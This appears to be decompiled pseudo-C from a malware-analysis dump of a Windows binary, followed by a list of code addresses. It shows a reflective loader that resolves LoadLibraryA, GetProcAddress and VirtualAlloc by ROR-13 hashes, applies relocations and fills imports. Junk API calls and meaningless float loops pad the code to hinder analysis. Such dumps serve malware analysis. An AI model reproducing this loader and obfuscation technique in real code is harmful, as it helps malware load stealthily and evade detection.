																		asm("movsd xmm2, [0x6ed66588]");
																		asm("movsd xmm3, [0x6ed66600]");
																		asm("movsd xmm1, [ebp-0x10]");
																		while(1) {
																			asm("movsd xmm0, [0x6ed66610]");
																			asm("comisd xmm0, xmm1");
																			if(__eflags < 0) {
																				goto L263;
																			}
																			GetDialogBaseUnits();
																			asm("movsd xmm3, [0x6ed66600]");
																			asm("movsd xmm2, [0x6ed66588]");
																			L264:
																			asm("movsd xmm1, [0x6ed66698]");
																			do {
																				asm("movaps xmm0, xmm1");
																				asm("mulsd xmm1, xmm0");
																				asm("comisd xmm1, xmm2");
																			} while (__eflags >= 0);
																			asm("comisd xmm1, xmm3");
																			asm("movsd xmm2, [0x6ed665e8]");
																			while(__eflags >= 0) {
																				asm("movaps xmm0, xmm2");
																				asm("addsd xmm2, xmm0");
																				asm("comisd xmm2, xmm3");
																				asm("movaps xmm1, xmm2");
																			}
																			asm("comisd xmm1, [0x6ed66570]");
																			asm("movsd xmm2, [0x6ed66588]");
																			if(__eflags >= 0) {
																				goto L296;
																			} else {
																				continue;
																			}
																			goto L297;
																			L263:
																			asm("movsd xmm0, [0x6ed665f0]");
																			asm("comisd xmm0, xmm1");
																			if(__eflags <= 0) {
																				goto L264;
																			}
																			goto L297;
																		}
																	}
																} else {
																	asm("movsd xmm0, [ebp-0x50]");
																	_t580 =  *_t626 + _t766;
																	_t397 =  *(_t580 + 4);
																	_t757 = _t580 + 4;
																	_v36 = _t580;
																	_v48 = _t757;
																	asm("movsd [ebp-0x10], xmm0");
																	__eflags = _t397;
																	if(_t397 == 0) {
																		L256:
																		_t575 = _v28;
																		goto L257;
																	} else {
																		asm("movaps xmm1, xmm0");
																		asm("movsd [ebp-0x10], xmm1");
																		while(1) {
																			__eflags = _t718 - _v28;
																			if(__eflags == 0) {
																				asm("movsd xmm0, [0x6ed66660]");
																				asm("comisd xmm0, xmm1");
																				if(__eflags > 0) {
																					_t397 = L6ED57F60(E6ED25F20(1), _t425);
																					asm("movsd xmm1, [0x6ed664f0]");
																					asm("divsd xmm1, xmm0");
																					_t626 = _v32;
																					asm("addsd xmm1, [0x6ed664f0]");
																					asm("movsd [ebp-0x10], xmm1");
																				}
																				asm("movsd xmm0, [0x6ed66678]");
																				asm("comisd xmm0, xmm1");
																				if(__eflags > 0) {
																					_t397 = GetCursor();
																					asm("movsd xmm1, [0x6ed66590]");
																					_t626 = _v32;
																					asm("movsd [ebp-0x10], xmm1");
																				}
																				_t718 = _v72;
																			} else {
																				_t281 = _t397 - 8; // -8
																				_t734 =  *_t580 + _v44;
																				_t718 = _t580 + 8;
																				_v56 = _t734;
																				_t626 = _t281 >> 1;
																				_v72 = _t718;
																			}
																			__eflags = _t626;
																			if(_t626 == 0) {
																				goto L246;
																			}
																			_t575 = _v24 + 4;
																			__eflags = _t575;
																			do {
																				_t639 = _t626 - 1;
																				_v32 = _t626 - 1;
																				__eflags = _t575 - _v28;
																				if(_t575 <= _v28) {
																					asm("ucomisd xmm1, [0x6ed66500]");
																					asm("lahf");
																					__eflags = _t397 & 0x00000044;
																					if(__eflags != 0) {
																						goto L295;
																					} else {
																						asm("comisd xmm1, [0x6ed66520]");
																						if(__eflags < 0) {
																							asm("movsd xmm0, [0x6ed66550]");
																							_t415 = E6ED25BB0(_t397, _t575, _t639, _t718, _t734, _t757);
																							asm("cvttsd2si eax, xmm0");
																							_push(0);
																							_push(0x3a24);
																							asm("cdq");
																							_push(_t718);
																							_push(_t415);
																						} else {
																							_t423 = E6ED25ED0(0x7a);
																							asm("cdq");
																							_push(_t718);
																							_push(_t423);
																							_push(0);
																							_push(1);
																						}
																						_t640 = E6ED578D0();
																						_t397 = L6ED57F60(_t417, _t417);
																						asm("movaps xmm1, xmm0");
																						_t734 = 0x69;
																						asm("comisd xmm1, [0x6ed66518]");
																						asm("movsd [ebp-0x10], xmm1");
																						if(__eflags >= 0) {
																							_t307 = _t734 - 0x5e; // 0xb
																							_t773 = _t307;
																							do {
																								asm("movd xmm0, edi");
																								asm("cvtdq2pd xmm0, xmm0");
																								_t420 = E6ED25BB0(_t397, _t575, _t640, _t718, 0x69, _t773);
																								asm("cvttsd2si edi, xmm0");
																								asm("movd xmm0, esi");
																								asm("cvtdq2pd xmm0, xmm0");
																								_t421 = E6ED25BB0(_t420, _t575, _t640, _t718, 0x69, _t773);
																								asm("cvttsd2si eax, xmm0");
																								_t773 = _t421;
																								_t397 = 0x69 - _t421;
																								__eflags = 0x69;
																								asm("movd xmm1, eax");
																								asm("cvtdq2pd xmm1, xmm1");
																								asm("comisd xmm1, [0x6ed66518]");
																								asm("movsd [ebp-0x10], xmm1");
																							} while (0x69 >= 0);
																						}
																						asm("movsd xmm0, [0x6ed665a0]");
																						asm("comisd xmm0, xmm1");
																						if(__eflags > 0) {
																							goto L293;
																						} else {
																							asm("comisd xmm1, [0x6ed66668]");
																							if(__eflags > 0) {
																								goto L294;
																							} else {
																								asm("movsd xmm0, [0x6ed66558]");
																								asm("comisd xmm0, xmm1");
																								if(__eflags > 0) {
																									goto L292;
																								} else {
																									_t734 = _v56;
																									_t718 = _v72;
																									goto L244;
																								}
																							}
																						}
																					}
																				} else {
																					_t642 =  *_t718 & 0x0000ffff;
																					_t397 = _t642 >> 0xc;
																					__eflags = _t397 - 0xa;
																					if(_t397 != 0xa) {
																						__eflags = _t397 - 3;
																						if(_t397 != 3) {
																							__eflags = _t397 - 1;
																							if(_t397 != 1) {
																								__eflags = _t397 - 2;
																								if(_t397 == 2) {
																									_t397 = _v52;
																									goto L231;
																								}
																							} else {
																								_t397 = _v52 >> 0x10;
																								L231:
																								_t643 = _t642 & 0x00000fff;
																								_t302 = _t643 + _t734;
																								 *_t302 =  *(_t643 + _t734) + _t397;
																								__eflags =  *_t302;
																							}
																							_t718 = _t718 + 2;
																							_v72 = _t718;
																						} else {
																							_t397 = _v52;
																							 *((intOrPtr*)((_t642 & 0x00000fff) + _t734)) =  *((intOrPtr*)((_t642 & 0x00000fff) + _t734)) + _t397;
																							_t718 = _t718 + 2;
																							_v72 = _t718;
																						}
																					} else {
																						_t397 = _v52;
																						 *((intOrPtr*)((_t642 & 0x00000fff) + _t734)) =  *((intOrPtr*)((_t642 & 0x00000fff) + _t734)) + _t397;
																						_t718 = _t718 + 2;
																						_v72 = _t718;
																					}
																					goto L244;
																				}
																				goto L303;
																				L244:
																				_t626 = _v32;
																				__eflags = _t626;
																			} while (_t626 != 0);
																			_t580 = _v36;
																			_t757 = _v48;
																			L246:
																			_t718 = _v24;
																			_t626 = _t626 - 1;
																			_v32 = _t626;
																			__eflags = _t718 - _v28;
																			if(_t718 < _v28) {
																				_t409 = 0;
																				_t581 = 0x63;
																				_t720 = 0x27;
																				_t632 = 0;
																				__eflags = 0;
																				do {
																					_t739 = E6ED574E0(_t581, _t409, _t720, _t632);
																					_t581 = E6ED25F20(_t581);
																					_v80 = _t720;
																					asm("cdq");
																					_v48 = _t739 + _t581;
																					asm("sbb esi, ecx");
																					_t734 = _t739 - _t581 + _v48;
																					__eflags = _t739 - _t581 + _v48;
																					_v96 = _t720;
																					asm("adc esi, eax");
																					L6ED57F60(_t720, _t739 - _t581 + _v48);
																					_t409 = _v80;
																					asm("movaps xmm1, xmm0");
																					asm("comisd xmm1, [0x6ed66580]");
																					_t632 = _v96;
																					_t720 = _v48;
																					asm("movsd [ebp-0x10], xmm1");
																				} while (__eflags >= 0);
																				asm("movsd xmm3, [0x6ed666d8]");
																				asm("comisd xmm3, xmm1");
																				asm("movsd xmm0, [0x6ed66548]");
																				if(__eflags >= 0) {
																					asm("movsd xmm2, [0x6ed66620]");
																					do {
																						asm("mulsd xmm0, xmm2");
																						asm("subsd xmm2, xmm0");
																						asm("movaps xmm1, xmm0");
																						asm("cvttsd2si eax, xmm2");
																						asm("movd xmm2, eax");
																						asm("cvtdq2pd xmm2, xmm2");
																						asm("divsd xmm1, xmm2");
																						asm("comisd xmm3, xmm1");
																						asm("movsd [ebp-0x10], xmm1");
																					} while (__eflags >= 0);
																				}
																				_t718 = _v24;
																				_t626 = _v32;
																				_t580 = _v36;
																			} else {
																				_t580 = _t580 +  *_t757;
																				_v36 = _t580;
																			}
																			_t397 =  *(_t580 + 4);
																			_t757 = _t580 + 4;
																			_v48 = _t757;
																			__eflags = _t397;
																			if(_t397 == 0) {
																				goto L256;
																			} else {
																				_t734 = _v56;
																				continue;
																			}
																			goto L303;
																		}
																	}
																}
															} else {
																while(1) {
																	__eflags =  *_t718;
																	if( *_t718 == 0) {
																		goto L205;
																	}
																	asm("cdq");
																	__eflags = _v24 - _t718 >> 1 - _t575;
																	if(__eflags < 0) {
																		asm("movsd xmm0, [0x6ed66538]");
																		asm("comisd xmm0, xmm2");
																		if(__eflags > 0) {
																			__imp__CoUninitialize();
																		}
																		asm("movsd xmm0, [0x6ed66690]");
																		_t774 = 0x63;
																		_t742 = 0;
																		asm("movsd [ebp-0x10], xmm0");
																		_v88 = 0;
																		_t210 = _t774 + 0x15; // 0x78
																		_t583 = _t210;
																		asm("o16 nop [eax+eax]");
																		do {
																			SwitchToThread();
																			_t774 = E6ED574E0(_t583, _v88, _t774, _t742);
																			_t742 = _t718;
																			_t431 = L6ED57F60(_t430, _t430);
																			asm("divsd xmm0, [ebp-0x10]");
																			_t583 = L6ED57E50(_t431, _t583, _t430, _t718);
																			_v88 = _t718;
																			_t434 = L6ED57F60(_t718, _t432);
																			asm("subsd xmm0, [ebp-0x10]");
																			asm("sbb edx, [ebp-0x54]");
																			asm("movsd [ebp-0x10], xmm0");
																			_t435 = L6ED57F60(_t434, _t430 - _t432);
																			asm("addsd xmm0, [ebp-0x10]");
																			asm("ucomisd xmm0, [0x6ed66578]");
																			asm("lahf");
																			__eflags = _t435 & 0x00000044;
																		} while ((_t435 & 0x00000044) != 0);
																		_t653 = E6ED25F20(1);
																		_t437 = L6ED57F60(_t436, _t436);
																		asm("mulsd xmm0, xmm0");
																		asm("addsd xmm0, [0x6ed664f0]");
																		asm("comisd xmm0, [0x6ed66560]");
																		if(__eflags >= 0) {
																			L163:
																			asm("movsd xmm0, [0x6ed665f8]");
																			_t397 = E6ED25BB0(_t437, _t583, _t653, _t718, _t742, _t774);
																			asm("movaps xmm2, xmm0");
																			asm("xorps xmm0, xmm0");
																			asm("mulsd xmm2, [0x6ed66680]");
																			asm("addsd xmm2, xmm0");
																		} else {
																			_t653 = E6ED25F20(0x33);
																			_t437 = L6ED57F60(_t466, _t466);
																			asm("movsd xmm1, [0x6ed664f0]");
																			asm("subsd xmm1, xmm0");
																			asm("movsd xmm0, [0x6ed66568]");
																			asm("comisd xmm0, xmm1");
																			if(__eflags > 0) {
																				goto L163;
																			} else {
																				_t467 = E6ED25ED0(0xd9);
																				asm("movd xmm0, eax");
																				asm("cvtdq2pd xmm0, xmm0");
																				asm("movsd [ebp-0x10], xmm0");
																				asm("movsd xmm0, [0x6ed66718]");
																				_t470 = L6ED57E50(E6ED25BB0(_t467, _t583, 0xd9, _t718, _t742, _t774), _t583, 0xd9, _t718);
																				asm("movsd xmm0, [ebp-0x10]");
																				asm("mulsd xmm0, [0x6ed66718]");
																				asm("movsd [ebp-0x10], xmm0");
																				_t397 = L6ED57F60(_t470, _t470);
																				asm("movsd xmm2, [ebp-0x10]");
																				asm("mulsd xmm2, xmm0");
																			}
																		}
																		asm("movsd xmm0, [0x6ed66578]");
																		asm("comisd xmm0, xmm2");
																		asm("movsd [ebp-0x10], xmm2");
																		if(__eflags > 0) {
																			goto L291;
																		} else {
																			_t734 = _v56;
																			_t575 = _v28;
																			_t654 = _v72;
																			goto L166;
																		}
																	} else {
																		_t397 = _v92(_v44 + _t625);
																		_t654 =  *_t757 + _v44;
																		_t734 =  *((intOrPtr*)(_t757 + 0x10)) + _v44;
																		asm("movsd xmm2, [ebp-0x10]");
																		_v52 = _t397;
																		_v72 = _t654;
																		_v56 = _t734;
																		L166:
																		__eflags =  *_t734;
																		if( *_t734 != 0) {
																			do {
																				__eflags = _t654;
																				if(_t654 == 0) {
																					L173:
																					_t718 = _v24;
																					_t757 = _t718;
																					__eflags = _t718 - _t575;
																					if(__eflags <= 0) {
																						goto L170;
																					} else {
																						_t448 = _t718 + _t718;
																						_v80 = _t448;
																						while(1) {
																							__eflags = _t448 - _t575;
																							if(__eflags >= 0) {
																								break;
																							}
																							asm("comisd xmm2, [0x6ed664f0]");
																							if(__eflags >= 0) {
																								GetCapture();
																							}
																							asm("movsd xmm1, [0x6ed66508]");
																							_t665 = 0xd;
																							_t724 = 0x53;
																							asm("o16 nop [eax+eax]");
																							do {
																								_t458 = _t724 - _t665;
																								_t665 = _t458;
																								_t724 = _t458 - _t724;
																								_t460 = _t724 + _t665;
																								asm("movd xmm0, eax");
																								asm("cvtdq2pd xmm0, xmm0");
																								asm("ucomisd xmm0, xmm1");
																								asm("lahf");
																								__eflags = _t724 + _t665 & 0x00000044;
																							} while (__eflags != 0);
																							asm("movss xmm1, [0x6ed66760]");
																							asm("movss [ebp-0x48], xmm1");
																							asm("movsd xmm1, [0x6ed66538]");
																							asm("comisd xmm1, xmm0");
																							if(__eflags > 0) {
																								asm("o16 nop [eax+eax]");
																								do {
																									GetKBCodePage();
																									asm("cvttss2si ecx, [ebp-0x48]");
																									_t665 = E6ED25F20(_t665);
																									_t460 = L6ED57F60(_t464, _t464);
																									asm("movss xmm1, [0x6ed6673c]");
																									asm("cvtsd2ss xmm0, xmm0");
																									asm("comiss xmm1, xmm0");
																									asm("movss [ebp-0x48], xmm0");
																								} while (__eflags > 0);
																							}
																							asm("movsd xmm0, [0x6ed666b8]");
																							_t586 = 0x74;
																							_v16 = 0;
																							do {
																								E6ED25BB0(_t460, _t586, _t665, _t724, _t734, _t757);
																								asm("movsd [ebp-0x10], xmm0");
																								_t462 = E6ED25F20(_t586);
																								_t586 = _t462;
																								_t665 = _t462;
																								_t460 = L6ED57F60(_t462, _t462);
																								asm("movsd xmm2, [ebp-0x10]");
																								asm("subsd xmm2, xmm0");
																								asm("comisd xmm2, [0x6ed66568]");
																								asm("movsd [ebp-0x10], xmm2");
																							} while (__eflags > 0);
																							_t575 = _v28;
																							_t757 = _t757 + 1;
																							_t448 = _v80;
																							__eflags = _t757 - _t575;
																							if(_t757 > _t575) {
																								continue;
																							} else {
																								goto L171;
																							}
																							goto L192;
																						}
																						_t450 =  *_t734 + _v44;
																						_v32 = _t450;
																						_t397 = _v12(_v52, _t450 + 2);
																						 *_t734 = _t397;
																						goto L171;
																					}
																				} else {
																					_t654 =  *_t654;
																					__eflags = _t654;
																					if(_t654 >= 0) {
																						goto L173;
																					} else {
																						_t757 = _v52;
																						_t723 = _v24;
																						__eflags = _t723 - _t575;
																						_t718 =  ==  ? _t575 : _t723;
																						_v24 = _t718;
																						_t453 =  *((intOrPtr*)( *((intOrPtr*)(_t757 + 0x3c)) + _t757 + 0x78));
																						_t397 =  *((intOrPtr*)( *((intOrPtr*)(_t453 + _t757 + 0x1c)) + _t654 * 4 + _t757)) + _t757;
																						__eflags = _t718 - _t575;
																						 *_t734 = _t397;
																						L170:
																						if(__eflags < 0) {
																							asm("movsd xmm1, [0x6ed66608]");
																							_t777 = 0x63;
																							asm("movsd [ebp-0x60], xmm1");
																							do {
																								__imp__GetUserDefaultUILanguage();
																								asm("movsd xmm3, [ebp-0x60]");
																								asm("movd xmm1, esi");
																								asm("movaps xmm2, xmm3");
																								asm("cvtdq2pd xmm1, xmm1");
																								asm("divsd xmm2, xmm1");
																								asm("movaps xmm1, xmm3");
																								asm("cvtpd2ps xmm0, xmm2");
																								asm("addsd xmm1, xmm3");
																								asm("movss [ebp-0x4c], xmm0");
																								asm("movaps xmm0, xmm3");
																								asm("cvttsd2si ebx, xmm1");
																								_t397 = E6ED25BB0(_t397, _t575, _t654, _t718, _t734, _t777);
																								_t777 = _t575;
																								asm("movaps xmm1, xmm0");
																								asm("movd xmm0, esi");
																								asm("cvtdq2ps xmm0, xmm0");
																								asm("movsd [ebp-0x60], xmm1");
																								asm("mulss xmm0, [ebp-0x4c]");
																								asm("cvtps2pd xmm2, xmm0");
																								asm("mulsd xmm2, xmm1");
																								asm("ucomisd xmm2, [0x6ed665a8]");
																								asm("movsd [ebp-0x10], xmm2");
																								asm("lahf");
																								__eflags = _t397 & 0x00000044;
																							} while ((_t397 & 0x00000044) != 0);
																							_t654 = _v72;
																						} else {
																							L171:
																							_t654 = _v72;
																							_t734 = _t734 + 4;
																							asm("movsd xmm2, [ebp-0x10]");
																							__eflags = _t654;
																							if(_t654 != 0) {
																								_t654 = _t654 + 4;
																								_v72 = _t654;
																							}
																						}
																					}
																				}
																				__eflags =  *_t734;
																				_t575 = _v28;
																			} while ( *_t734 != 0);
																			L192:
																			_v56 = _t734;
																		}
																		__eflags = _v24 - _t575;
																		if(_v24 < _t575) {
																			asm("ucomisd xmm2, [0x6ed66550]");
																			asm("lahf");
																			__eflags = _t397 & 0x00000044;
																			if(__eflags == 0) {
																				asm("movsd xmm0, [0x6ed66658]");
																				L6ED57F60(L6ED57E50(E6ED25BB0(_t397, _t575, _t654, _t718, _t734, _t757), _t575, _t654, _t718), _t445);
																				asm("movsd [ebp-0x10], xmm0");
																				_t397 = L6ED57F60(E6ED25F20(0x5a), _t447);
																				asm("movsd xmm1, [0x6ed66668]");
																				asm("movaps xmm2, xmm0");
																				asm("divsd xmm1, [ebp-0x10]");
																				asm("mulsd xmm2, [ebp-0x10]");
																				asm("subsd xmm2, xmm1");
																				asm("movsd [ebp-0x10], xmm2");
																			}
																			asm("comisd xmm2, [0x6ed66650]");
																			if(__eflags > 0) {
																				goto L290;
																			} else {
																				asm("movsd xmm0, [0x6ed66670]");
																				_t775 = 0;
																				__eflags = 0;
																				asm("comisd xmm0, xmm2");
																				_t584 = 0xa;
																				_v48 = 0xf;
																				if(0 >= 0) {
																					do {
																						AreFileApisANSI();
																						_t775 = (_t775 << 0x00000020 | _t584) << 1;
																						_t584 = _t584 + _t584;
																						_t659 = _v48 * _t584;
																						asm("cdq");
																						_v48 = _t659;
																						__eflags = _t584 - _t659;
																						asm("sbb eax, edx");
																						_t397 = L6ED57F60(_t775, _t584 - _t659);
																						asm("movaps xmm2, xmm0");
																						asm("movsd xmm0, [0x6ed66670]");
																						asm("comisd xmm0, xmm2");
																						asm("movsd [ebp-0x10], xmm2");
																					} while (__eflags >= 0);
																				}
																				asm("comisd xmm2, [0x6ed66688]");
																				_t585 = 0x27;
																				while(__eflags > 0) {
																					GetUserDefaultLangID();
																					_t439 = E6ED25ED0(_t585);
																					_t585 = _t439;
																					_t397 = _t439;
																					asm("movd xmm2, eax");
																					asm("cvtdq2pd xmm2, xmm2");
																					asm("comisd xmm2, [0x6ed66688]");
																					asm("movsd [ebp-0x10], xmm2");
																				}
																				_t757 = _v36;
																				_t575 = _v28;
																				goto L204;
																			}
																		} else {
																			_t757 = _v36 + 0x14;
																			_v36 = _t757;
																			L204:
																			_t625 =  *(_t757 + 0xc);
																			_t718 = _v32;
																			__eflags = _t625;
																			if(_t625 != 0) {
																				continue;
																			} else {
																				goto L205;
																			}
																		}
																	}
																	goto L303;
																}
																goto L205;
															}
														}
													} else {
														asm("movsd xmm1, [ebp-0x10]");
														asm("comisd xmm1, [0x6ed664f0]");
														if(__eflags >= 0) {
															_t484 = E6ED25F20(0x57);
															_t734 = _t484;
															_t757 = _t718;
															_t486 = L6ED57F60(E6ED25F20(0x18), _t485);
															asm("cvtsd2ss xmm0, xmm0");
															_t718 = _t757;
															_t618 = _t484;
															asm("cvtss2sd xmm0, xmm0");
															asm("movsd [ebp-0x3c], xmm0");
															asm("divsd xmm0, [0x6ed66638]");
															asm("movsd [ebp-0x10], xmm0");
															L6ED57F60(_t486, _t484);
															asm("movaps xmm1, xmm0");
															asm("movsd xmm0, [ebp-0x3c]");
															asm("mulsd xmm0, [ebp-0x10]");
															asm("subsd xmm1, xmm0");
														}
														asm("comisd xmm1, [0x6ed664f8]");
														if(__eflags >= 0) {
															_t734 = GetCursor;
															while(1) {
																_t479 = GetCursor();
																asm("movd xmm0, esi");
																asm("cvtdq2pd xmm0, xmm0");
																_t480 = E6ED25BB0(_t479, _t575, _t618, _t718, _t734, 0x31);
																asm("cvttsd2si eax, xmm0");
																_t757 = _t480;
																asm("cdq");
																_t482 = _t757 + 1;
																__eflags = _t482;
																_t618 = _t482;
																asm("adc edx, 0x0");
																L6ED57F60(_t482, _t482);
																asm("comisd xmm0, [0x6ed664f8]");
																if(__eflags < 0) {
																	goto L288;
																}
															}
														}
														goto L288;
													}
												} else {
													_t734 = GetMessageTime;
													asm("movsd xmm0, [ebp-0x10]");
													while(1) {
														asm("movsd xmm1, [0x6ed665c8]");
														asm("comisd xmm1, xmm0");
														if(__eflags > 0) {
															goto L103;
														}
														asm("movsd xmm1, [0x6ed666f8]");
														asm("comisd xmm1, xmm0");
														if(__eflags >= 0) {
															goto L103;
														} else {
															GetForegroundWindow();
															_t496 = L6ED57F60(E6ED25F20(0x3f), _t503);
															asm("cvtsd2ss xmm0, xmm0");
															asm("xorps xmm1, xmm1");
															asm("mulss xmm0, xmm1");
															asm("addss xmm0, xmm1");
															asm("cvtss2sd xmm0, xmm0");
														}
														L104:
														asm("ucomisd xmm0, [0x6ed66708]");
														asm("lahf");
														__eflags = _t496 & 0x00000044;
														if((_t496 & 0x00000044) == 0) {
															GetClipboardViewer();
															_t590 = 0x4c;
															_t782 = 0x6d;
															do {
																GetMessageTime();
																_t499 = E6ED25ED0(_t590);
																_t782 = _t782 * _t782;
																_t590 = _t499;
																__eflags = _t499 + _t782;
																asm("movd xmm0, eax");
																asm("cvtdq2pd xmm0, xmm0");
																asm("comisd xmm0, [0x6ed665b8]");
															} while (__eflags >= 0);
															continue;
														}
														goto L287;
														L103:
														DestroyCaret();
														_t496 = E6ED25ED0(0x3f);
														asm("movd xmm0, eax");
														asm("cvtdq2ps xmm0, xmm0");
														asm("mulss xmm0, [0x6ed66790]");
														asm("cvtps2pd xmm0, xmm0");
														goto L104;
													}
												}
											} else {
												goto L78;
											}
										}
									}
								} else {
									_t575 = 3;
									asm("movsd xmm0, [ebp-0x10]");
									_v88 = 3;
									_t728 =  *((intOrPtr*)(_v36 + 0x10));
									_v44 = _t728;
									_t691 =  *((intOrPtr*)( *((intOrPtr*)(_t728 + 0x3c)) + _t728 + 0x78)) + _t728;
									asm("cdq");
									_v96 = _t691;
									_v48 = _v24 - _t728 >> 1;
									_t509 = _v44;
									_t747 =  *((intOrPtr*)(_t691 + 0x20)) + _t509;
									_t757 =  *((intOrPtr*)(_t691 + 0x24)) + _t509;
									__eflags = _t757;
									_v40 = _t747;
									_v56 = _t757;
									do {
										asm("movaps xmm1, xmm0");
										_t693 =  *_t747 + _t509;
										_t729 = 0;
										__eflags = 0;
										_t510 =  *_t693;
										do {
											asm("ror edx, 0xd");
											_t693 = _t693 + 1;
											_t729 = _t729 + _t510;
											_t510 =  *_t693;
											__eflags = _t510;
										} while (_t510 != 0);
										__eflags = _t729 - 0xec0e4e8e;
										if(_t729 == 0xec0e4e8e) {
											L56:
											_t512 = _v28;
											__eflags = _v48 - _t512;
											if(_v48 < _t512) {
												_t734 = 0;
												_t757 = 0x50;
												asm("ucomisd xmm1, [0x6ed665d8]");
												asm("lahf");
												__eflags = _t512 & 0x00000044;
												if(__eflags == 0) {
													_t591 = 0x1900;
													_v76 = 0;
													do {
														__imp__CoFreeUnusedLibraries();
														_t513 = E6ED574E0(_t757, _t734, _t757, _t734);
														_t734 = _t729;
														_t757 = _t513;
														_t514 = E6ED574E0(_t757, _t729, _t591, _v76);
														_t591 = _t514;
														_t604 = _t514;
														_v76 = _t729;
														_t516 = L6ED57F60(_t729, _t514);
														asm("movaps xmm1, xmm0");
														asm("ucomisd xmm1, [0x6ed665d8]");
														asm("lahf");
														__eflags = _t516 & 0x00000044;
													} while (__eflags != 0);
												}
												asm("movsd xmm3, [0x6ed666a8]");
												asm("comisd xmm3, xmm1");
												asm("movsd xmm2, [0x6ed66588]");
												if(__eflags >= 0) {
													asm("o16 nop [eax+eax]");
													while(1) {
														asm("movaps xmm1, xmm2");
														asm("addsd xmm2, xmm1");
														asm("comisd xmm3, xmm2");
														if(__eflags < 0) {
															goto L286;
														}
													}
												}
												goto L286;
											} else {
												asm("movaps xmm0, xmm1");
												asm("movsd [ebp-0x10], xmm0");
												_t519 =  *((intOrPtr*)(_v96 + 0x1c)) + ( *_t757 & 0x0000ffff) * 4;
												_t695 = _v44;
												__eflags = _t729 - 0xec0e4e8e;
												if(_t729 != 0xec0e4e8e) {
													__eflags = _t729 - 0x7c0dfcaa;
													if(_t729 != 0x7c0dfcaa) {
														__eflags = _t729 - 0x91afca54;
														if(_t729 == 0x91afca54) {
															asm("movaps xmm0, xmm1");
															_t526 =  *((intOrPtr*)(_t519 + _t695)) + _t695;
															__eflags = _t526;
															asm("movsd [ebp-0x10], xmm1");
															_v76 = _t526;
														}
													} else {
														_v12 =  *((intOrPtr*)(_t519 + _t695)) + _t695;
													}
												} else {
													_v92 =  *((intOrPtr*)(_t519 + _t695)) + _t695;
												}
												_t592 = _t575 + 0xffff;
												__eflags = _t592;
												_v88 = _t592;
												goto L64;
											}
										} else {
											__eflags = _t729 - 0x7c0dfcaa;
											if(_t729 == 0x7c0dfcaa) {
												goto L56;
											} else {
												asm("movaps xmm0, xmm1");
												asm("movsd [ebp-0x10], xmm0");
												__eflags = _t729 - 0x91afca54;
												if(_t729 != 0x91afca54) {
													L64:
													_t520 = _v24;
													_t593 = _t520;
													_t696 = _v28;
													__eflags = _t520 - _t696;
													if(_t520 > _t696) {
														_t521 = _t520 + _t520;
														__eflags = _t521;
														_v80 = _t521;
														while(1) {
															__eflags = _t521 - _t696;
															if(_t521 >= _t696) {
																break;
															}
															asm("ucomisd xmm0, [0x6ed665e0]");
															_t785 = 0x15;
															_t103 = _t785 + 7; // 0x1c
															_t749 = _t103;
															asm("lahf");
															__eflags = _t521 & 0x00000044;
															if((_t521 & 0x00000044) == 0) {
																asm("o16 nop [eax+eax]");
																do {
																	GetLastError();
																	_t785 = _t785 + _t749;
																	_t523 = _t785;
																	_t749 = 0;
																	asm("cdq");
																	_t524 = _t523 / 0;
																	_t718 = _t523 % 0;
																	asm("movd xmm0, eax");
																	asm("cvtdq2pd xmm0, xmm0");
																	asm("ucomisd xmm0, [0x6ed665e0]");
																	asm("movsd [ebp-0x10], xmm0");
																	asm("lahf");
																	__eflags = _t524 & 0x00000044;
																} while ((_t524 & 0x00000044) != 0);
																_t696 = _v28;
															}
															_t521 = _v80;
															_t593 = _t593 + 1;
															__eflags = _t593 - _t696;
															if(_t593 > _t696) {
																continue;
															} else {
																_t757 = _v56;
																_t747 = _v40;
															}
															goto L74;
														}
														_t747 = _v40 + 4;
														_t757 = _v56 + 2;
														__eflags = _t757;
														_v40 = _t747;
														_v56 = _t757;
													}
													goto L74;
												} else {
													goto L56;
												}
											}
										}
										goto L303;
										L74:
										_t575 = _v88;
										_t509 = _v44;
										__eflags = _t575;
									} while (_t575 != 0);
									goto L75;
								}
								goto L303;
							}
						}
						goto L303;
						L9:
						_t755 = _t755 - 1;
						_v52 = _t755;
					}
				}
				L303:
			}

0x6ed26100
0x6ed26109
0x6ed2610e
0x6ed26110
0x6ed26113
0x6ed26117
0x6ed26119
0x6ed26120
0x6ed26121
0x6ed26125
0x6ed2612c
0x6ed26130
0x6ed26134
0x6ed26137
0x6ed2613c
0x6ed26160
0x6ed26165
0x6ed26145
0x6ed26145
0x6ed26151
0x6ed26154
0x6ed26159
0x6ed2615b
0x6ed2615b
0x6ed26168
0x6ed2616d
0x6ed26181
0x6ed26189
0x6ed2618e
0x6ed26192
0x6ed26196
0x6ed26196
0x6ed26199
0x6ed2619c
0x6ed261a1
0x6ed261ab
0x6ed261b2
0x6ed261b9
0x6ed261c0
0x6ed261c3
0x6ed261c8
0x6ed261cd
0x6ed261d0
0x6ed261d5
0x6ed261da
0x6ed261e2
0x6ed261ea
0x6ed261ed
0x6ed261f0
0x6ed261f8
0x6ed261fa
0x6ed26202
0x6ed26209
0x6ed2626d
0x6ed26272
0x6ed26272
0x6ed26274
0x6ed26278
0x6ed2627d
0x6ed26280
0x6ed26280
0x6ed26284
0x6ed26284
0x6ed26286
0x6ed2628a
0x6ed2628f
0x6ed2628f
0x6ed26280
0x6ed26299
0x6ed262a1
0x6ed262a3
0x6ed262b2
0x6ed262b7
0x6ed262bb
0x6ed262bb
0x6ed262bf
0x6ed262c7
0x6ed262cc
0x6ed262cc
0x6ed262ce
0x6ed262d3
0x6ed262db
0x6ed262db
0x6ed262de
0x6ed262e0
0x6ed262e3
0x6ed262ec
0x6ed262f0
0x6ed262f5
0x6ed262fa
0x6ed262fc
0x6ed26302
0x6ed26304
0x6ed26309
0x6ed2630e
0x6ed26312
0x6ed26316
0x6ed2631b
0x6ed2631e
0x6ed26322
0x6ed26325
0x6ed26325
0x6ed262e0
0x6ed2632f
0x6ed26337
0x6ed26338
0x6ed2633b
0x6ed2637a
0x6ed26387
0x6ed2638c
0x6ed26391
0x6ed26395
0x6ed26398
0x6ed2639c
0x6ed263a4
0x6ed263a7
0x6ed263ab
0x6ed2633d
0x6ed2633d
0x6ed26345
0x6ed2634a
0x6ed26352
0x6ed26355
0x6ed26358
0x6ed2635c
0x6ed2635f
0x6ed26360
0x6ed26364
0x6ed26368
0x6ed26368
0x6ed2636a
0x6ed2636e
0x6ed26371
0x6ed26375
0x6ed26375
0x6ed263ae
0x6ed263b6
0x6ed263bb
0x6ed263bc
0x6ed263bf
0x00000000
0x6ed263c5
0x6ed263c5
0x6ed263cd
0x6ed263d2
0x6ed263d6
0x6ed26400
0x6ed263d8
0x6ed263d8
0x6ed263d8
0x6ed263db
